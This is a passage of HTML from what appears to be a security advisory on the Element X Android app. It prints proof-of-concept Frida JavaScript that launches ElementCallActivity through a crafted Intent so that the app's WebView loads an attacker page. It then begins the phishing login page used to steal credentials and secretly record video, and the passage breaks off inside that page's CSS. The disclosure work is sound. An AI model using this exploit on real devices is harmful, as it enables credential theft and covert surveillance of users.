class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mf\" style=\"background: #263238;color: #f78c6c\">100<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">function<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">createIntent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(){<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Intent<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">use<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"android.content.Intent\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">ExternalUrl<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">use<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"io.element.android.features.call.api.CallType$ExternalUrl\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Java<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">use<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"android.app.ActivityThread\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">currentApplication<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">().<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">getApplicationContext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Sending an Intent with ExternalUrl (Parcelable)<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">Intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">$new<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">setClassName<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"io.element.android.x\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"io.element.android.features.call.impl.ui.ElementCallActivity\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">var<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">externalUrl<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">ExternalUrl<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">$new<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[http:\/\/localhost:8080\/login.html\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);]()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">putExtra<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"EXTRA_CALL_TYPE\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">externalUrl<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">addFlags<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"mf\" style=\"background: #263238;color: #f78c6c\">268435456<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">context<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">startActivity<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">intent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">log<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Intent with ExternalUrl sent.\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">waitForContext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span>\n\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">});<\/span>\n<\/pre>\n<\/div>\n<p>Through the Intent, the ElementCallActivity opens a WebView that operates within the app's context\u2014and thus with its permissions.<\/p>\n<p><img decoding=\"async\" alt=\"Intent opens a webview with the content from an attackers website\" src=\".\/elementx_1.png\" \/>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_1.png\" width=\"564\" height=\"998\" alt=\"\" class=\"wp-image-23813 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_1.png 564w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_1-480x849.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 564px, 100vw\" \/><\/p>\n<p>The malicious website not only captures the login credentials but also secretly records a video of the user and sends it to the attacker.<\/p>\n<p><img decoding=\"async\" alt=\"Video is recorded secretly and sent to the attacker\" src=\".\/elementx_2.png\" \/>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_2.png\" width=\"1322\" height=\"955\" alt=\"\" class=\"wp-image-23815 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_2.png 1322w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_2-1280x925.png 1280w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_2-980x708.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/04\/elementx_2-480x347.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1322px, 100vw\" \/><\/p>\n<p>Additionally, the website can communicate with the underlying Rust SDK through an interface of the app. The full extent of this interaction could not be conclusively determined during the penetration test. However, there is a possibility that calls could be intercepted and manipulated.<\/p>\n<p><strong>Ausschnitt: WebViewWidgetMessageInterceptor.kt<\/strong><\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">...<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">private<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">fun<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">onMessageReceived<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">json<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">String?<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Here is where we would handle the messages from the WebView, passing them to the Rust SDK<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">json<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">?.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">let<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">interceptedMessages<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">tryEmit<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">it<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"o\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">...<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]<\/span>\n<\/pre>\n<\/div>\n<h4>Appendix<\/h4>\n<p>Website used to intercept the credentials and to create and send the video:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"cp\" style=\"background: #263238;color: #546e7a;font-style: italic\">&lt;!DOCTYPE html&gt;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">html<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">lang<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"en\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">head<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">meta<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">charset<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"UTF-8\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">meta<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"viewport\"<\/span> <span class=\"na\" style=\"background: #263238;color: #bb80b3\">content<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"width=device-width, initial-scale=1.0\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">title<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>MessengerX - Login<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">title<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n    <span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">style<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">body<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">font-family<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Arial<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">sans-serif<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">background-color<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mh\" style=\"background: #263238;color: #f78c6c\">#f2f2f2<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">display<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">flex<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">justify-content<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">center<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">align-items<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">center<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">height<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">100<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">vh<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">flex-direction<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">column<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">position<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">relative<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nc\" style=\"background: #263238;color: #ffcb6b\">login-container<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">background<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">white<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">padding<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">20<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">border-radius<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">10<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">box-shadow<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">10<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">rgba<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mf\" style=\"background: #263238;color: #f78c6c\">0.1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">text-align<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">center<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">width<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">300<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nc\" style=\"background: #263238;color: #ffcb6b\">input-field<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">width<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">100<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">%<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">padding<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">10<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">margin<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">10<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">border<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">1<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">solid<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mh\" style=\"background: #263238;color: #f78c6c\">#ccc<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">border-radius<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">5<\/span><span class=\"kt\" style=\"background: #263238;color: #bb80b3\">px<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nc\" style=\"background: #263238;color: #ffcb6b\">login-button<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">background-color<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mh\" style=\"background: #263238;color: #f78c6c\">#007bff<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">color<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">white<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"w\" 